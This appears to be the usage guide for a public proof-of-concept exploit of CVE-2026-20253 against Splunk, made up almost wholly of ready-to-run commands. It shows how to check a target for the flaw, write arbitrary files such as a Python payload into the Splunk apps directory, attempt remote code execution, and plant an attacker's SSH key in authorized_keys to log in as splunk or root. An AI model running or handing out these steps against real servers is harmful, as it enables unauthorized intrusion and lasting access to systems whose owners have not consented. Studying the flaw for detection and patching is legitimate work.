git clone https://github.com/HORKimhab/CVE-2026-20253
cd CVE-2026-20253

# Project use python follow below

# Create a virtual environment
python -m venv venv

# Activate the virtual environment

# macOS / Linux
source venv/bin/activate

# Windows (Git Bash / WSL)
source venv/Scripts/activate

# Install requirements
pip install -r requirements.txt

# Basic check
python3 cve-2026-20253.py -t http://target:8000 --check

# Write empty/truncated file
python3 cve-2026-20253.py -t http://target:8000 --write "/tmp/pwned"

# Write with content from file
python3 cve-2026-20253.py -t http://target:8000 --write "/tmp/shell.py" --content poc-content.txt

# Advanced (restore + content)
python3 cve-2026-20253.py -t http://target:8000 --write "/opt/splunk/etc/apps/.../payload.py" --content poc-content.txt --restore

# RCE attempt
python3 cve-2026-20253.py -t http://target:8000 --rce

python3 cve-2026-20253_poc.py -t http://target:8000 \
  --write "/path/to/target/file.py" \
  --content poc-content.txt --restore


# SSH 

# Generate SSH key pair (if you don't have one)
ssh-keygen -t ed25519 -C "poc@attacker" -f ~/.ssh/splunk_poc_key -N ""

# Or use RSA if target is older
# ssh-keygen -t rsa -b 4096 -f ~/.ssh/splunk_poc_key -N ""

cat ~/.ssh/splunk_poc_key.pub > poc-content.txt

python3 cve-2026-20253_poc.py -t http://target:8000 \
  --write "/home/splunk/.ssh/authorized_keys" \
  --content poc-content.txt \
  --restore

python3 cve-2026-20253_poc.py -t http://target:8000 \
  --write "/home/splunk/.ssh/authorized_keys" \
  --content poc-content.txt

# Make sure permissions are correct on your side
chmod 600 ~/.ssh/splunk_poc_key

# Connect
ssh -i ~/.ssh/splunk_poc_key splunk@target_ip

# Or as root
ssh -i ~/.ssh/splunk_poc_key root@target_ip


# Step 1: Create directory (may not always work)
python3 cve-2026-20253_poc.py -t http://target:8000 --write "/home/splunk/.ssh/.placeholder"

# Step 2: Write authorized_keys
python3 cve-2026-20253_poc.py -t http://target:8000 --write "/home/splunk/.ssh/authorized_keys" --content poc-content.txt

mkdir -p /home/splunk/.ssh
chmod 700 /home/splunk/.ssh
chmod 600 /home/splunk/.ssh/authorized_keys
chown -R splunk:splunk /home/splunk/.ssh